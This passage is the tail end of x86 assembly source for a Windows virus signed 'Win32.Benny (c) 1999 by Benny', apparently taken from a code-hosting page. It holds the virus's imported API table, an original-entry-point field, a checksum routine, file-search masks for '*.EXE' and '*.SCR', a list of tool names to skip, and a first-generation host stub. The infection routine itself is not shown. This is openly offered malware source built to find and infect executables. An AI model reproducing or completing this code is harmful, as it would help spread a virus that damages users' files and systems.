xchg ah, dl ; ...
|
||||
rol eax, 16 ;get highest bytes
|
||||
rol edx, 16 ; ...
|
||||
xchg al, dh ;swap LSD and MSD higher bytes
|
||||
xchg ah, dl ; ...
|
||||
xchg eax, edx ;and swap LSD with MSD
|
||||
ret
|
||||
db 'Win32.Benny (c) 1999 by Benny', 0 ;my mark
|
||||
Checksum64 EndP
|
||||
|
||||
|
||||
OrigEPoint dd offset host - 400000h
|
||||
MyGetModuleHandleA dd offset _GetModuleHandleA
|
||||
|
||||
Virus_End:
|
||||
MyGetVersion dd ?
|
||||
MyIsDebuggerPresent dd ?
|
||||
MyCreateFileA dd ?
|
||||
MyFindFirstFileA dd ?
|
||||
MyFindNextFileA dd ?
|
||||
MyFindClose dd ?
|
||||
MySetFileAttributesA dd ?
|
||||
MyCloseHandle dd ?
|
||||
MyCreateFileMappingA dd ?
|
||||
MyMapViewOfFile dd ?
|
||||
MyUnmapViewOfFile dd ?
|
||||
MySetFilePointer dd ?
|
||||
MySetEndOfFile dd ?
|
||||
MySetFileTime dd ?
|
||||
MyGetWindowsDirectoryA dd ?
|
||||
MyGetSystemDirectoryA dd ?
|
||||
MyGetCurrentDirectoryA dd ?
|
||||
|
||||
v_strings:
|
||||
vszKernel32 db 'KERNEL32', 0
|
||||
vszGetModuleHandleA db 'GetModuleHandleA', 0
|
||||
f_names:
|
||||
vszGetVersion db 'GetVersion', 0
|
||||
vszIsDebuggerPresent db 'IsDebuggerPresent', 0
|
||||
vszCreateFileA db 'CreateFileA', 0
|
||||
vszFindFirstFileA db 'FindFirstFileA', 0
|
||||
vszFindNextFileA db 'FindNextFileA', 0
|
||||
vszFindClose db 'FindClose', 0
|
||||
vszSetFileAttributesA db 'SetFileAttributesA', 0
|
||||
vszCloseHandle db 'CloseHandle', 0
|
||||
vszCreateFileMappingA db 'CreateFileMappingA', 0
|
||||
vszMapViewOfFile db 'MapViewOfFile', 0
|
||||
vszUnmapViewOfFile db 'UnmapViewOfFile', 0
|
||||
vszSetFilePointer db 'SetFilePointer', 0
|
||||
vszSetEndOfFile db 'SetEndOfFile', 0
|
||||
vszSetFileTime db 'SetFileTime', 0
|
||||
vszGetWindowsDirectoryA db 'GetWindowsDirectoryA', 0
|
||||
vszGetSystemDirectoryA db 'GetSystemDirectoryA', 0
|
||||
vszGetCurrentDirectoryA db 'GetCurrentDirectoryA', 0, 0
|
||||
|
||||
vszExe db '*.EXE', 0
|
||||
vszScr db '*.SCR', 0
|
||||
vszNamez db 'NTVDM.EXE', 0
|
||||
db 'RUNDLL32.EXE', 0
|
||||
db 'TD32.EXE', 0
|
||||
db 'TLINK32.EXE', 0
|
||||
db 'TASM32.EXE', 0
|
||||
|
||||
PathName db 256 dup (?)
|
||||
WindowsPath db 256 dup (?)
|
||||
Win32_Find_Data WIN32_FIND_DATA ?
|
||||
SearchHandle dd ?
|
||||
hFile dd ?
|
||||
hMapFile dd ?
|
||||
lpFile dd ?
|
||||
|
||||
Virtual_End:
|
||||
_GetModuleHandleA dd offset GetModuleHandleA
|
||||
|
||||
|
||||
host: push 1000h
|
||||
push offset Msg
|
||||
push offset Msg
|
||||
push 0
|
||||
call MessageBoxA
|
||||
exit_h: push 0
|
||||
call ExitProcess
|
||||
|
||||
Msg db 'First generation of Win32.Benny', 0
|
||||
|
||||
ends
|
||||
End Start_Virus
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
Reference in New Issue
Block a user